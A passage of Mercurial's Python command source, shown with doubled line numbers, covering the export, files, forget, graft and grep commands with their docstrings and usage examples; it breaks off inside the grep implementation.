2701 2701 hg export -r "outgoing()" -o "%n-%m.patch"
2702 2702
2703 2703 Returns 0 on success.
2704 2704 """
2705 2705 opts = pycompat.byteskwargs(opts)
2706 2706 bookmark = opts.get(b'bookmark')
2707 2707 changesets += tuple(opts.get(b'rev', []))
2708 2708
2709 2709 cmdutil.check_at_most_one_arg(opts, b'rev', b'bookmark')
2710 2710
2711 2711 if bookmark:
2712 2712 if bookmark not in repo._bookmarks:
2713 2713 raise error.InputError(_(b"bookmark '%s' not found") % bookmark)
2714 2714
2715 2715 revs = scmutil.bookmarkrevs(repo, bookmark)
2716 2716 else:
2717 2717 if not changesets:
2718 2718 changesets = [b'.']
2719 2719
2720 2720 repo = scmutil.unhidehashlikerevs(repo, changesets, b'nowarn')
2721 2721 revs = scmutil.revrange(repo, changesets)
2722 2722
2723 2723 if not revs:
2724 2724 raise error.InputError(_(b"export requires at least one changeset"))
2725 2725 if len(revs) > 1:
2726 2726 ui.note(_(b'exporting patches:\n'))
2727 2727 else:
2728 2728 ui.note(_(b'exporting patch:\n'))
2729 2729
2730 2730 fntemplate = opts.get(b'output')
2731 2731 if cmdutil.isstdiofilename(fntemplate):
2732 2732 fntemplate = b''
2733 2733
2734 2734 if fntemplate:
2735 2735 fm = formatter.nullformatter(ui, b'export', opts)
2736 2736 else:
2737 2737 ui.pager(b'export')
2738 2738 fm = ui.formatter(b'export', opts)
2739 2739 with fm:
2740 2740 cmdutil.export(
2741 2741 repo,
2742 2742 revs,
2743 2743 fm,
2744 2744 fntemplate=fntemplate,
2745 2745 switch_parent=opts.get(b'switch_parent'),
2746 2746 opts=patch.diffallopts(ui, opts),
2747 2747 )
2748 2748
2749 2749
2750 2750 @command(
2751 2751 b'files',
2752 2752 [
2753 2753 (
2754 2754 b'r',
2755 2755 b'rev',
2756 2756 b'',
2757 2757 _(b'search the repository as it is in REV'),
2758 2758 _(b'REV'),
2759 2759 ),
2760 2760 (
2761 2761 b'0',
2762 2762 b'print0',
2763 2763 None,
2764 2764 _(b'end filenames with NUL, for use with xargs'),
2765 2765 ),
2766 2766 ]
2767 2767 + walkopts
2768 2768 + formatteropts
2769 2769 + subrepoopts,
2770 2770 _(b'[OPTION]... [FILE]...'),
2771 2771 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
2772 2772 intents={INTENT_READONLY},
2773 2773 )
2774 2774 def files(ui, repo, *pats, **opts):
2775 2775 """list tracked files
2776 2776
2777 2777 Print files under Mercurial control in the working directory or
2778 2778 specified revision for given files (excluding removed files).
2779 2779 Files can be specified as filenames or filesets.
2780 2780
2781 2781 If no files are given to match, this command prints the names
2782 2782 of all files under Mercurial control.
2783 2783
2784 2784 .. container:: verbose
2785 2785
2786 2786 Template:
2787 2787
2788 2788 The following keywords are supported in addition to the common template
2789 2789 keywords and functions. See also :hg:`help templates`.
2790 2790
2791 2791 :flags: String. Character denoting file's symlink and executable bits.
2792 2792 :path: String. Repository-absolute path of the file.
2793 2793 :size: Integer. Size of the file in bytes.
2794 2794
2795 2795 Examples:
2796 2796
2797 2797 - list all files under the current directory::
2798 2798
2799 2799 hg files .
2800 2800
2801 2801 - shows sizes and flags for current revision::
2802 2802
2803 2803 hg files -vr .
2804 2804
2805 2805 - list all files named README::
2806 2806
2807 2807 hg files -I "**/README"
2808 2808
2809 2809 - list all binary files::
2810 2810
2811 2811 hg files "set:binary()"
2812 2812
2813 2813 - find files containing a regular expression::
2814 2814
2815 2815 hg files "set:grep('bob')"
2816 2816
2817 2817 - search tracked file contents with xargs and grep::
2818 2818
2819 2819 hg files -0 | xargs -0 grep foo
2820 2820
2821 2821 See :hg:`help patterns` and :hg:`help filesets` for more information
2822 2822 on specifying file patterns.
2823 2823
2824 2824 Returns 0 if a match is found, 1 otherwise.
2825 2825
2826 2826 """
2827 2827
2828 2828 opts = pycompat.byteskwargs(opts)
2829 2829 rev = opts.get(b'rev')
2830 2830 if rev:
2831 2831 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
2832 2832 ctx = scmutil.revsingle(repo, rev, None)
2833 2833
2834 2834 end = b'\n'
2835 2835 if opts.get(b'print0'):
2836 2836 end = b'\0'
2837 2837 fmt = b'%s' + end
2838 2838
2839 2839 m = scmutil.match(ctx, pats, opts)
2840 2840 ui.pager(b'files')
2841 2841 uipathfn = scmutil.getuipathfn(ctx.repo(), legacyrelativevalue=True)
2842 2842 with ui.formatter(b'files', opts) as fm:
2843 2843 return cmdutil.files(
2844 2844 ui, ctx, m, uipathfn, fm, fmt, opts.get(b'subrepos')
2845 2845 )
2846 2846
2847 2847
2848 2848 @command(
2849 2849 b'forget',
2850 2850 [
2851 2851 (b'i', b'interactive', None, _(b'use interactive mode')),
2852 2852 ]
2853 2853 + walkopts
2854 2854 + dryrunopts,
2855 2855 _(b'[OPTION]... FILE...'),
2856 2856 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
2857 2857 helpbasic=True,
2858 2858 inferrepo=True,
2859 2859 )
2860 2860 def forget(ui, repo, *pats, **opts):
2861 2861 """forget the specified files on the next commit
2862 2862
2863 2863 Mark the specified files so they will no longer be tracked
2864 2864 after the next commit.
2865 2865
2866 2866 This only removes files from the current branch, not from the
2867 2867 entire project history, and it does not delete them from the
2868 2868 working directory.
2869 2869
2870 2870 To delete the file from the working directory, see :hg:`remove`.
2871 2871
2872 2872 To undo a forget before the next commit, see :hg:`add`.
2873 2873
2874 2874 .. container:: verbose
2875 2875
2876 2876 Examples:
2877 2877
2878 2878 - forget newly-added binary files::
2879 2879
2880 2880 hg forget "set:added() and binary()"
2881 2881
2882 2882 - forget files that would be excluded by .hgignore::
2883 2883
2884 2884 hg forget "set:hgignore()"
2885 2885
2886 2886 Returns 0 on success.
2887 2887 """
2888 2888
2889 2889 opts = pycompat.byteskwargs(opts)
2890 2890 if not pats:
2891 2891 raise error.InputError(_(b'no files specified'))
2892 2892
2893 2893 m = scmutil.match(repo[None], pats, opts)
2894 2894 dryrun, interactive = opts.get(b'dry_run'), opts.get(b'interactive')
2895 2895 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
2896 2896 rejected = cmdutil.forget(
2897 2897 ui,
2898 2898 repo,
2899 2899 m,
2900 2900 prefix=b"",
2901 2901 uipathfn=uipathfn,
2902 2902 explicitonly=False,
2903 2903 dryrun=dryrun,
2904 2904 interactive=interactive,
2905 2905 )[0]
2906 2906 return rejected and 1 or 0
2907 2907
2908 2908
2909 2909 @command(
2910 2910 b'graft',
2911 2911 [
2912 2912 (b'r', b'rev', [], _(b'revisions to graft'), _(b'REV')),
2913 2913 (
2914 2914 b'',
2915 2915 b'base',
2916 2916 b'',
2917 2917 _(b'base revision when doing the graft merge (ADVANCED)'),
2918 2918 _(b'REV'),
2919 2919 ),
2920 2920 (b'c', b'continue', False, _(b'resume interrupted graft')),
2921 2921 (b'', b'stop', False, _(b'stop interrupted graft')),
2922 2922 (b'', b'abort', False, _(b'abort interrupted graft')),
2923 2923 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
2924 2924 (b'', b'log', None, _(b'append graft info to log message')),
2925 2925 (
2926 2926 b'',
2927 2927 b'no-commit',
2928 2928 None,
2929 2929 _(b"don't commit, just apply the changes in working directory"),
2930 2930 ),
2931 2931 (b'f', b'force', False, _(b'force graft')),
2932 2932 (
2933 2933 b'D',
2934 2934 b'currentdate',
2935 2935 False,
2936 2936 _(b'record the current date as commit date'),
2937 2937 ),
2938 2938 (
2939 2939 b'U',
2940 2940 b'currentuser',
2941 2941 False,
2942 2942 _(b'record the current user as committer'),
2943 2943 ),
2944 2944 ]
2945 2945 + commitopts2
2946 2946 + mergetoolopts
2947 2947 + dryrunopts,
2948 2948 _(b'[OPTION]... [-r REV]... REV...'),
2949 2949 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
2950 2950 )
2951 2951 def graft(ui, repo, *revs, **opts):
2952 2952 """copy changes from other branches onto the current branch
2953 2953
2954 2954 This command uses Mercurial's merge logic to copy individual
2955 2955 changes from other branches without merging branches in the
2956 2956 history graph. This is sometimes known as 'backporting' or
2957 2957 'cherry-picking'. By default, graft will copy user, date, and
2958 2958 description from the source changesets.
2959 2959
2960 2960 Changesets that are ancestors of the current revision, that have
2961 2961 already been grafted, or that are merges will be skipped.
2962 2962
2963 2963 If --log is specified, log messages will have a comment appended
2964 2964 of the form::
2965 2965
2966 2966 (grafted from CHANGESETHASH)
2967 2967
2968 2968 If --force is specified, revisions will be grafted even if they
2969 2969 are already ancestors of, or have been grafted to, the destination.
2970 2970 This is useful when the revisions have since been backed out.
2971 2971
2972 2972 If a graft merge results in conflicts, the graft process is
2973 2973 interrupted so that the current merge can be manually resolved.
2974 2974 Once all conflicts are addressed, the graft process can be
2975 2975 continued with the -c/--continue option.
2976 2976
2977 2977 The -c/--continue option reapplies all the earlier options.
2978 2978
2979 2979 .. container:: verbose
2980 2980
2981 2981 The --base option exposes more of how graft internally uses merge with a
2982 2982 custom base revision. --base can be used to specify another ancestor than
2983 2983 the first and only parent.
2984 2984
2985 2985 The command::
2986 2986
2987 2987 hg graft -r 345 --base 234
2988 2988
2989 2989 is thus pretty much the same as::
2990 2990
2991 2991 hg diff --from 234 --to 345 | hg import
2992 2992
2993 2993 but using merge to resolve conflicts and track moved files.
2994 2994
2995 2995 The result of a merge can thus be backported as a single commit by
2996 2996 specifying one of the merge parents as base, and thus effectively
2997 2997 grafting the changes from the other side.
2998 2998
2999 2999 It is also possible to collapse multiple changesets and clean up history
3000 3000 by specifying another ancestor as base, much like rebase --collapse
3001 3001 --keep.
3002 3002
3003 3003 The commit message can be tweaked after the fact using commit --amend .
3004 3004
3005 3005 For using non-ancestors as the base to backout changes, see the backout
3006 3006 command and the hidden --parent option.
3007 3007
3008 3008 .. container:: verbose
3009 3009
3010 3010 Examples:
3011 3011
3012 3012 - copy a single change to the stable branch and edit its description::
3013 3013
3014 3014 hg update stable
3015 3015 hg graft --edit 9393
3016 3016
3017 3017 - graft a range of changesets with one exception, updating dates::
3018 3018
3019 3019 hg graft -D "2085::2093 and not 2091"
3020 3020
3021 3021 - continue a graft after resolving conflicts::
3022 3022
3023 3023 hg graft -c
3024 3024
3025 3025 - show the source of a grafted changeset::
3026 3026
3027 3027 hg log --debug -r .
3028 3028
3029 3029 - show revisions sorted by date::
3030 3030
3031 3031 hg log -r "sort(all(), date)"
3032 3032
3033 3033 - backport the result of a merge as a single commit::
3034 3034
3035 3035 hg graft -r 123 --base 123^
3036 3036
3037 3037 - land a feature branch as one changeset::
3038 3038
3039 3039 hg up -cr default
3040 3040 hg graft -r featureX --base "ancestor('featureX', 'default')"
3041 3041
3042 3042 See :hg:`help revisions` for more about specifying revisions.
3043 3043
3044 3044 Returns 0 on successful completion, 1 if there are unresolved files.
3045 3045 """
3046 3046 with repo.wlock():
3047 3047 return _dograft(ui, repo, *revs, **opts)
3048 3048
3049 3049
3050 3050 def _dograft(ui, repo, *revs, **opts):
3051 3051 opts = pycompat.byteskwargs(opts)
3052 3052 if revs and opts.get(b'rev'):
3053 3053 ui.warn(
3054 3054 _(
3055 3055 b'warning: inconsistent use of --rev might give unexpected '
3056 3056 b'revision ordering!\n'
3057 3057 )
3058 3058 )
3059 3059
3060 3060 revs = list(revs)
3061 3061 revs.extend(opts.get(b'rev'))
3062 3062 # a dict of data to be stored in state file
3063 3063 statedata = {}
3064 3064 # list of new nodes created by ongoing graft
3065 3065 statedata[b'newnodes'] = []
3066 3066
3067 3067 cmdutil.resolvecommitoptions(ui, opts)
3068 3068
3069 3069 editor = cmdutil.getcommiteditor(
3070 3070 editform=b'graft', **pycompat.strkwargs(opts)
3071 3071 )
3072 3072
3073 3073 cmdutil.check_at_most_one_arg(opts, b'abort', b'stop', b'continue')
3074 3074
3075 3075 cont = False
3076 3076 if opts.get(b'no_commit'):
3077 3077 cmdutil.check_incompatible_arguments(
3078 3078 opts,
3079 3079 b'no_commit',
3080 3080 [b'edit', b'currentuser', b'currentdate', b'log'],
3081 3081 )
3082 3082
3083 3083 graftstate = statemod.cmdstate(repo, b'graftstate')
3084 3084
3085 3085 if opts.get(b'stop'):
3086 3086 cmdutil.check_incompatible_arguments(
3087 3087 opts,
3088 3088 b'stop',
3089 3089 [
3090 3090 b'edit',
3091 3091 b'log',
3092 3092 b'user',
3093 3093 b'date',
3094 3094 b'currentdate',
3095 3095 b'currentuser',
3096 3096 b'rev',
3097 3097 ],
3098 3098 )
3099 3099 return _stopgraft(ui, repo, graftstate)
3100 3100 elif opts.get(b'abort'):
3101 3101 cmdutil.check_incompatible_arguments(
3102 3102 opts,
3103 3103 b'abort',
3104 3104 [
3105 3105 b'edit',
3106 3106 b'log',
3107 3107 b'user',
3108 3108 b'date',
3109 3109 b'currentdate',
3110 3110 b'currentuser',
3111 3111 b'rev',
3112 3112 ],
3113 3113 )
3114 3114 return cmdutil.abortgraft(ui, repo, graftstate)
3115 3115 elif opts.get(b'continue'):
3116 3116 cont = True
3117 3117 if revs:
3118 3118 raise error.InputError(_(b"can't specify --continue and revisions"))
3119 3119 # read in unfinished revisions
3120 3120 if graftstate.exists():
3121 3121 statedata = cmdutil.readgraftstate(repo, graftstate)
3122 3122 if statedata.get(b'date'):
3123 3123 opts[b'date'] = statedata[b'date']
3124 3124 if statedata.get(b'user'):
3125 3125 opts[b'user'] = statedata[b'user']
3126 3126 if statedata.get(b'log'):
3127 3127 opts[b'log'] = True
3128 3128 if statedata.get(b'no_commit'):
3129 3129 opts[b'no_commit'] = statedata.get(b'no_commit')
3130 3130 if statedata.get(b'base'):
3131 3131 opts[b'base'] = statedata.get(b'base')
3132 3132 nodes = statedata[b'nodes']
3133 3133 revs = [repo[node].rev() for node in nodes]
3134 3134 else:
3135 3135 cmdutil.wrongtooltocontinue(repo, _(b'graft'))
3136 3136 else:
3137 3137 if not revs:
3138 3138 raise error.InputError(_(b'no revisions specified'))
3139 3139 cmdutil.checkunfinished(repo)
3140 3140 cmdutil.bailifchanged(repo)
3141 3141 revs = scmutil.revrange(repo, revs)
3142 3142
3143 3143 skipped = set()
3144 3144 basectx = None
3145 3145 if opts.get(b'base'):
3146 3146 basectx = scmutil.revsingle(repo, opts[b'base'], None)
3147 3147 if basectx is None:
3148 3148 # check for merges
3149 3149 for rev in repo.revs(b'%ld and merge()', revs):
3150 3150 ui.warn(_(b'skipping ungraftable merge revision %d\n') % rev)
3151 3151 skipped.add(rev)
3152 3152 revs = [r for r in revs if r not in skipped]
3153 3153 if not revs:
3154 3154 return -1
3155 3155 if basectx is not None and len(revs) != 1:
3156 3156 raise error.InputError(_(b'only one revision allowed with --base '))
3157 3157
3158 3158 # Don't check in the --continue case, in effect retaining --force across
3159 3159 # --continues. That's because without --force, any revisions we decided to
3160 3160 # skip would have been filtered out here, so they wouldn't have made their
3161 3161 # way to the graftstate. With --force, any revisions we would have otherwise
3162 3162 # skipped would not have been filtered out, and if they hadn't been applied
3163 3163 # already, they'd have been in the graftstate.
3164 3164 if not (cont or opts.get(b'force')) and basectx is None:
3165 3165 # check for ancestors of dest branch
3166 3166 ancestors = repo.revs(b'%ld & (::.)', revs)
3167 3167 for rev in ancestors:
3168 3168 ui.warn(_(b'skipping ancestor revision %d:%s\n') % (rev, repo[rev]))
3169 3169
3170 3170 revs = [r for r in revs if r not in ancestors]
3171 3171
3172 3172 if not revs:
3173 3173 return -1
3174 3174
3175 3175 # analyze revs for earlier grafts
3176 3176 ids = {}
3177 3177 for ctx in repo.set(b"%ld", revs):
3178 3178 ids[ctx.hex()] = ctx.rev()
3179 3179 n = ctx.extra().get(b'source')
3180 3180 if n:
3181 3181 ids[n] = ctx.rev()
3182 3182
3183 3183 # check ancestors for earlier grafts
3184 3184 ui.debug(b'scanning for duplicate grafts\n')
3185 3185
3186 3186 # The only changesets we can be sure doesn't contain grafts of any
3187 3187 # revs, are the ones that are common ancestors of *all* revs:
3188 3188 for rev in repo.revs(b'only(%d,ancestor(%ld))', repo[b'.'].rev(), revs):
3189 3189 ctx = repo[rev]
3190 3190 n = ctx.extra().get(b'source')
3191 3191 if n in ids:
3192 3192 try:
3193 3193 r = repo[n].rev()
3194 3194 except error.RepoLookupError:
3195 3195 r = None
3196 3196 if r in revs:
3197 3197 ui.warn(
3198 3198 _(
3199 3199 b'skipping revision %d:%s '
3200 3200 b'(already grafted to %d:%s)\n'
3201 3201 )
3202 3202 % (r, repo[r], rev, ctx)
3203 3203 )
3204 3204 revs.remove(r)
3205 3205 elif ids[n] in revs:
3206 3206 if r is None:
3207 3207 ui.warn(
3208 3208 _(
3209 3209 b'skipping already grafted revision %d:%s '
3210 3210 b'(%d:%s also has unknown origin %s)\n'
3211 3211 )
3212 3212 % (ids[n], repo[ids[n]], rev, ctx, n[:12])
3213 3213 )
3214 3214 else:
3215 3215 ui.warn(
3216 3216 _(
3217 3217 b'skipping already grafted revision %d:%s '
3218 3218 b'(%d:%s also has origin %d:%s)\n'
3219 3219 )
3220 3220 % (ids[n], repo[ids[n]], rev, ctx, r, n[:12])
3221 3221 )
3222 3222 revs.remove(ids[n])
3223 3223 elif ctx.hex() in ids:
3224 3224 r = ids[ctx.hex()]
3225 3225 if r in revs:
3226 3226 ui.warn(
3227 3227 _(
3228 3228 b'skipping already grafted revision %d:%s '
3229 3229 b'(was grafted from %d:%s)\n'
3230 3230 )
3231 3231 % (r, repo[r], rev, ctx)
3232 3232 )
3233 3233 revs.remove(r)
3234 3234 if not revs:
3235 3235 return -1
3236 3236
3237 3237 if opts.get(b'no_commit'):
3238 3238 statedata[b'no_commit'] = True
3239 3239 if opts.get(b'base'):
3240 3240 statedata[b'base'] = opts[b'base']
3241 3241 for pos, ctx in enumerate(repo.set(b"%ld", revs)):
3242 3242 desc = b'%d:%s "%s"' % (
3243 3243 ctx.rev(),
3244 3244 ctx,
3245 3245 ctx.description().split(b'\n', 1)[0],
3246 3246 )
3247 3247 names = repo.nodetags(ctx.node()) + repo.nodebookmarks(ctx.node())
3248 3248 if names:
3249 3249 desc += b' (%s)' % b' '.join(names)
3250 3250 ui.status(_(b'grafting %s\n') % desc)
3251 3251 if opts.get(b'dry_run'):
3252 3252 continue
3253 3253
3254 3254 source = ctx.extra().get(b'source')
3255 3255 extra = {}
3256 3256 if source:
3257 3257 extra[b'source'] = source
3258 3258 extra[b'intermediate-source'] = ctx.hex()
3259 3259 else:
3260 3260 extra[b'source'] = ctx.hex()
3261 3261 user = ctx.user()
3262 3262 if opts.get(b'user'):
3263 3263 user = opts[b'user']
3264 3264 statedata[b'user'] = user
3265 3265 date = ctx.date()
3266 3266 if opts.get(b'date'):
3267 3267 date = opts[b'date']
3268 3268 statedata[b'date'] = date
3269 3269 message = ctx.description()
3270 3270 if opts.get(b'log'):
3271 3271 message += b'\n(grafted from %s)' % ctx.hex()
3272 3272 statedata[b'log'] = True
3273 3273
3274 3274 # we don't merge the first commit when continuing
3275 3275 if not cont:
3276 3276 # perform the graft merge with p1(rev) as 'ancestor'
3277 3277 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
3278 3278 base = ctx.p1() if basectx is None else basectx
3279 3279 with ui.configoverride(overrides, b'graft'):
3280 3280 stats = mergemod.graft(repo, ctx, base, [b'local', b'graft'])
3281 3281 # report any conflicts
3282 3282 if stats.unresolvedcount > 0:
3283 3283 # write out state for --continue
3284 3284 nodes = [repo[rev].hex() for rev in revs[pos:]]
3285 3285 statedata[b'nodes'] = nodes
3286 3286 stateversion = 1
3287 3287 graftstate.save(stateversion, statedata)
3288 3288 ui.error(_(b"abort: unresolved conflicts, can't continue\n"))
3289 3289 ui.error(_(b"(use 'hg resolve' and 'hg graft --continue')\n"))
3290 3290 return 1
3291 3291 else:
3292 3292 cont = False
3293 3293
3294 3294 # commit if --no-commit is false
3295 3295 if not opts.get(b'no_commit'):
3296 3296 node = repo.commit(
3297 3297 text=message, user=user, date=date, extra=extra, editor=editor
3298 3298 )
3299 3299 if node is None:
3300 3300 ui.warn(
3301 3301 _(b'note: graft of %d:%s created no changes to commit\n')
3302 3302 % (ctx.rev(), ctx)
3303 3303 )
3304 3304 # checking that newnodes exist because old state files won't have it
3305 3305 elif statedata.get(b'newnodes') is not None:
3306 3306 nn = statedata[b'newnodes'] # type: List[bytes]
3307 3307 nn.append(node)
3308 3308
3309 3309 # remove state when we complete successfully
3310 3310 if not opts.get(b'dry_run'):
3311 3311 graftstate.delete()
3312 3312
3313 3313 return 0
3314 3314
3315 3315
3316 3316 def _stopgraft(ui, repo, graftstate):
3317 3317 """stop the interrupted graft"""
3318 3318 if not graftstate.exists():
3319 3319 raise error.StateError(_(b"no interrupted graft found"))
3320 3320 pctx = repo[b'.']
3321 3321 mergemod.clean_update(pctx)
3322 3322 graftstate.delete()
3323 3323 ui.status(_(b"stopped the interrupted graft\n"))
3324 3324 ui.status(_(b"working directory is now at %s\n") % pctx.hex()[:12])
3325 3325 return 0
3326 3326
3327 3327
3328 3328 statemod.addunfinished(
3329 3329 b'graft',
3330 3330 fname=b'graftstate',
3331 3331 clearable=True,
3332 3332 stopflag=True,
3333 3333 continueflag=True,
3334 3334 abortfunc=cmdutil.hgabortgraft,
3335 3335 cmdhint=_(b"use 'hg graft --continue' or 'hg graft --stop' to stop"),
3336 3336 )
3337 3337
3338 3338
3339 3339 @command(
3340 3340 b'grep',
3341 3341 [
3342 3342 (b'0', b'print0', None, _(b'end fields with NUL')),
3343 3343 (b'', b'all', None, _(b'an alias to --diff (DEPRECATED)')),
3344 3344 (
3345 3345 b'',
3346 3346 b'diff',
3347 3347 None,
3348 3348 _(
3349 3349 b'search revision differences for when the pattern was added '
3350 3350 b'or removed'
3351 3351 ),
3352 3352 ),
3353 3353 (b'a', b'text', None, _(b'treat all files as text')),
3354 3354 (
3355 3355 b'f',
3356 3356 b'follow',
3357 3357 None,
3358 3358 _(
3359 3359 b'follow changeset history,'
3360 3360 b' or file history across copies and renames'
3361 3361 ),
3362 3362 ),
3363 3363 (b'i', b'ignore-case', None, _(b'ignore case when matching')),
3364 3364 (
3365 3365 b'l',
3366 3366 b'files-with-matches',
3367 3367 None,
3368 3368 _(b'print only filenames and revisions that match'),
3369 3369 ),
3370 3370 (b'n', b'line-number', None, _(b'print matching line numbers')),
3371 3371 (
3372 3372 b'r',
3373 3373 b'rev',
3374 3374 [],
3375 3375 _(b'search files changed within revision range'),
3376 3376 _(b'REV'),
3377 3377 ),
3378 3378 (
3379 3379 b'',
3380 3380 b'all-files',
3381 3381 None,
3382 3382 _(
3383 3383 b'include all files in the changeset while grepping (DEPRECATED)'
3384 3384 ),
3385 3385 ),
3386 3386 (b'u', b'user', None, _(b'list the author (long with -v)')),
3387 3387 (b'd', b'date', None, _(b'list the date (short with -q)')),
3388 3388 ]
3389 3389 + formatteropts
3390 3390 + walkopts,
3391 3391 _(b'[--diff] [OPTION]... PATTERN [FILE]...'),
3392 3392 helpcategory=command.CATEGORY_FILE_CONTENTS,
3393 3393 inferrepo=True,
3394 3394 intents={INTENT_READONLY},
3395 3395 )
3396 3396 def grep(ui, repo, pattern, *pats, **opts):
3397 3397 """search for a pattern in specified files
3398 3398
3399 3399 Search the working directory or revision history for a regular
3400 3400 expression in the specified files for the entire repository.
3401 3401
3402 3402 By default, grep searches the repository files in the working
3403 3403 directory and prints the files where it finds a match. To specify
3404 3404 historical revisions instead of the working directory, use the
3405 3405 --rev flag.
3406 3406
3407 3407 To search instead historical revision differences that contains a
3408 3408 change in match status ("-" for a match that becomes a non-match,
3409 3409 or "+" for a non-match that becomes a match), use the --diff flag.
3410 3410
3411 3411 PATTERN can be any Python (roughly Perl-compatible) regular
3412 3412 expression.
3413 3413
3414 3414 If no FILEs are specified and the --rev flag isn't supplied, all
3415 3415 files in the working directory are searched. When using the --rev
3416 3416 flag and specifying FILEs, use the --follow argument to also
3417 3417 follow the specified FILEs across renames and copies.
3418 3418
3419 3419 .. container:: verbose
3420 3420
3421 3421 Template:
3422 3422
3423 3423 The following keywords are supported in addition to the common template
3424 3424 keywords and functions. See also :hg:`help templates`.
3425 3425
3426 3426 :change: String. Character denoting insertion ``+`` or removal ``-``.
3427 3427 Available if ``--diff`` is specified.
3428 3428 :lineno: Integer. Line number of the match.
3429 3429 :path: String. Repository-absolute path of the file.
3430 3430 :texts: List of text chunks.
3431 3431
3432 3432 And each entry of ``{texts}`` provides the following sub-keywords.
3433 3433
3434 3434 :matched: Boolean. True if the chunk matches the specified pattern.
3435 3435 :text: String. Chunk content.
3436 3436
3437 3437 See :hg:`help templates.operators` for the list expansion syntax.
3438 3438
3439 3439 Returns 0 if a match is found, 1 otherwise.
3440 3440
3441 3441 """
3442 3442 cmdutil.check_incompatible_arguments(opts, 'all_files', ['all', 'diff'])
3443 3443 opts = pycompat.byteskwargs(opts)
3444 3444 diff = opts.get(b'all') or opts.get(b'diff')
3445 3445 follow = opts.get(b'follow')
3446 3446 if opts.get(b'all_files') is None and not diff:
3447 3447 opts[b'all_files'] = True
3448 3448 plaingrep = (
3449 3449 opts.get(b'all_files')
3450 3450 and not opts.get(b'rev')
3451 3451 and not opts.get(b'follow')
3452 3452 )
3453 3453 all_files = opts.get(b'all_files')
3454 3454 if plaingrep:
3455 3455 opts[b'rev'] = [b'wdir()']
3456 3456
3457 3457 reflags = re.M
3458 3458 if opts.get(b'ignore_case'):
3459 3459 reflags |= re.I
3460 3460 try:
3461 3461 regexp = util.re.compile(pattern, reflags)
3462 3462 except re.error as inst:
3463 3463 ui.warn(
3464 3464 _(b"grep: invalid match pattern: %s\n")
3465 3465 % stringutil.forcebytestr(inst)
3466 3466 )
3467 3467 return 1
3468 3468 sep, eol = b':', b'\n'
3469 3469 if opts.get(b'print0'):
3470 3470 sep = eol = b'\0'
3471 3471
3472 3472 searcher = grepmod.grepsearcher(
3473 3473 ui, repo, regexp, all_files=all_files, diff=diff, follow=follow
3474 3474 )
3475 3475
3476 3476 getfile = searcher._getfile
3477 3477
3478 3478 uipathfn = scmutil.getuipathfn(repo)
3479 3479
3480 3480 def display(fm, fn, ctx, pstates, states):
3481 3481 rev = scmutil.intrev(ctx)
3482 3482 if fm.isplain():
3483 3483 formatuser = ui.shortuser
3484 3484 else:
3485 3485 formatuser = pycompat.bytestr
3486 3486 if ui.quiet:
3487 3487 datefmt = b'%Y-%m-%d'
3488 3488 else:
3489 3489 datefmt = b'%a %b %d %H:%M:%S %Y %1%2'
3490 3490 found = False
3491 3491
3492 3492 @util.cachefunc
3493 3493 def binary():
3494 3494 flog = getfile(fn)
3495 3495 try:
3496 3496 return stringutil.binary(flog.read(ctx.filenode(fn)))
3497 3497 except error.WdirUnsupported:
3498 3498 return ctx[fn].isbinary()
3499 3499
3500 3500 fieldnamemap = {b'linenumber': b'lineno'}
3501 3501 if diff:
3502 3502 iter = grepmod.difflinestates(pstates, states)
3503 3503 else:
3504 3504 iter = [(b'', l) for l in states]
3505 3505 for change, l in iter:
3506 3506 fm.startitem()
3507 3507 fm.context(ctx=ctx)
3508 3508 fm.data(node=fm.hexfunc(scmutil.binnode(ctx)), path=fn)
3509 3509 fm.plain(uipathfn(fn), label=b'grep.filename')
3510 3510
3511 3511 cols = [
3512 3512 (b'rev', b'%d', rev, not plaingrep, b''),
3513 3513 (
3514 3514 b'linenumber',
3515 3515 b'%d',
3516 3516 l.linenum,
3517 3517 opts.get(b'line_number'),
3518 3518 b'',
3519 3519 ),
3520 3520 ]
3521 3521 if diff:
3522 3522 cols.append(
3523 3523 (
3524 3524 b'change',
3525 3525 b'%s',
3526 3526 change,
3527 3527 True,
3528 3528 b'grep.inserted '
3529 3529 if change == b'+'
3530 3530 else b'grep.deleted ',
3531 3531 )
3532 3532 )
3533 3533 cols.extend(
3534 3534 [
3535 3535 (
3536 3536 b'user',
3537 3537 b'%s',
3538 3538 formatuser(ctx.user()),
3539 3539 opts.get(b'user'),
3540 3540 b'',
3541 3541 ),
3542 3542 (
3543 3543 b'date',
3544 3544 b'%s',
3545 3545 fm.formatdate(ctx.date(), datefmt),
3546 3546 opts.get(b'date'),
3547 3547 b'',
3548 3548 ),
3549 3549 ]
3550 3550 )
3551 3551 for name, fmt, data, cond, extra_label in cols:
3552 3552 if cond:
3553 3553 fm.plain(sep, label=b'grep.sep')
3554 3554 field = fieldnamemap.get(name, name)
3555 3555 label = extra_label + (b'grep.%s' % name)
3556 3556 fm.condwrite(cond, field, fmt, data, label=label)
3557 3557 if not opts.get(b'files_with_matches'):
3558 3558 fm.plain(sep, label=b'grep.sep')
3559 3559 if not opts.get(b'text') and binary():
3560 3560 fm.plain(_(b" Binary file matches"))
3561 3561 else:
3562 3562 displaymatches(fm.nested(b'texts', tmpl=b'{text}'), l)
3563 3563 fm.plain(eol)
3564 3564 found = True
3565 3565 if opts.get(b'files_with_matches'):
3566 3566 break
3567 3567 return found
3568 3568
3569 3569 def displaymatches(fm, l):
3570 3570 p = 0
3571 3571 for s, e in l.findpos(regexp):
3572 3572 if p < s:
3573 3573 fm.startitem()
3574 3574 fm.write(b'text', b'%s', l.line[p:s])
3575 3575 fm.data(matched=False)
3576 3576 fm.startitem()
3577 3577 fm.write(b'text', b'%s', l.line[s:e], label=b'grep.match')
3578 3578 fm.data(matched=True)
3579 3579 p = e
3580 3580 if p < len(l.line):
3581 3581 fm.startitem()
3582 3582 fm.write(b'text', b'%s', l.line[p:])
3583 3583 fm.data(matched=False)
3584 3584 fm.end()
3585 3585
3586 3586 found = False
3587 3587
3588 3588 wopts = logcmdutil.walkopts(
3589 3589 pats=pats,
3590 3590 opts=opts,
3591 3591 revspec=opts[b'rev'],
3592 3592 include_pats=opts[b'include'],
3593 3593 exclude_pats=opts[b'exclude'],
3594 3594 follow=follow,
3595 3595 force_changelog_traversal=all_files,
3596 3596 filter_revisions_by_pats=not all_files,
